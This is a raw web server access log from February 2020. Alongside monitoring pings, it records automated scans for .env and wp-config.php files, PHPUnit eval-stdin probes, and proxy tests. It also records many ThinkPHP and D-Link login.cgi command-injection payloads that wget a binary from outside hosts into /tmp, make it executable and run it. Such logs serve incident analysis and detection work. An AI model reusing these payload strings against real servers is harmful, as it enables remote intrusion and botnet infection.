78.128.113.46 - - [01/Feb/2020:13:05:12 +0100] "GET /.env HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:13 +0100] "GET /admin/.env HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:13 +0100] "GET /blog/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:13 +0100] "GET /admin-app/.env HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:13 +0100] "GET /api/.env HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:13 +0100] "GET /app/.env HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:13 +0100] "GET /apps/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:14 +0100] "GET /back/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:14 +0100] "GET /core/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:14 +0100] "GET /cp/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:14 +0100] "GET /development/.env HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:14 +0100] "GET /docker/.env HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:15 +0100] "GET /fedex/.env HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:15 +0100] "GET /local/.env HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:15 +0100] "GET /private/.env HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:15 +0100] "GET /rest/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:16 +0100] "GET /shared/.env HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:16 +0100] "GET /sources/.env HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
118.68.38.66 - - [01/Feb/2020:13:05:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.128.113.46 - - [01/Feb/2020:13:05:16 +0100] "GET /system/.env HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [01/Feb/2020:13:05:16 +0100] "GET /old/.env HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
117.20.29.126 - - [01/Feb/2020:13:05:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.189.184.146 - - [01/Feb/2020:13:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.187.57.222 - - [01/Feb/2020:13:06:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:13:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.91.82 - - [01/Feb/2020:13:08:18 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:13:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [01/Feb/2020:13:10:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.78.51.206 - - [01/Feb/2020:13:11:17 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
1.54.70.95 - - [01/Feb/2020:13:11:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [01/Feb/2020:13:11:21 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:13:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:13:11:44 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.113.211.109 - - [01/Feb/2020:13:12:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [01/Feb/2020:13:12:30 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:13:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.217.2.122 - - [01/Feb/2020:13:13:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.101.0.209 - - [01/Feb/2020:13:13:41 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:13:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.163 - - [01/Feb/2020:13:14:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:13:15:17 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
112.84.11.202 - - [01/Feb/2020:13:15:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.179.232.65 - - [01/Feb/2020:13:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:13:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.103.22 - - [01/Feb/2020:13:18:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.249.100.106 - - [01/Feb/2020:13:20:08 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.34.178.90 - - [01/Feb/2020:13:20:09 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
180.95.238.212 - - [01/Feb/2020:13:20:11 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
182.138.137.192 - - [01/Feb/2020:13:20:11 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
182.88.79.41 - - [01/Feb/2020:13:20:12 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.235.138.145 - - [01/Feb/2020:13:20:12 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.235.138.228 - - [01/Feb/2020:13:20:12 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.200.157.3 - - [01/Feb/2020:13:20:14 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.224.136.40 - - [01/Feb/2020:13:20:14 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.191.155.145 - - [01/Feb/2020:13:20:15 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
213.187.105.208 - - [01/Feb/2020:13:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:13:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.99.173.69 - - [01/Feb/2020:13:24:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
59.149.145.10 - - [01/Feb/2020:13:24:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:13:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.237.201 - - [01/Feb/2020:13:25:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.237.136 - - [01/Feb/2020:13:25:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.128.228.151 - - [01/Feb/2020:13:28:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.215.227.245 - - [01/Feb/2020:13:29:41 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:13:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.191.158.236 - - [01/Feb/2020:13:30:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.191.158.236 - - [01/Feb/2020:13:30:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.200.153.111 - - [01/Feb/2020:13:32:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
52.67.127.116 - - [01/Feb/2020:13:32:23 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
188.217.2.122 - - [01/Feb/2020:13:32:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:13:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [01/Feb/2020:13:33:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.59.64.229 - - [01/Feb/2020:13:37:06 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:13:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.232.226.50 - - [01/Feb/2020:13:39:24 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:13:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.152.149.208 - - [01/Feb/2020:13:43:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.113.202.210 - - [01/Feb/2020:13:43:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [01/Feb/2020:13:45:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.155.79 - - [01/Feb/2020:13:46:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:13:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.252.231.217 - - [01/Feb/2020:13:47:24 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:13:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.90.216.156 - - [01/Feb/2020:13:47:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
146.158.38.35 - - [01/Feb/2020:13:47:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.146.216.191 - - [01/Feb/2020:13:48:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:13:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [01/Feb/2020:13:48:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.215.227.245 - - [01/Feb/2020:13:49:32 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:13:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.155.235 - - [01/Feb/2020:13:50:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.255.206 - - [01/Feb/2020:13:51:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
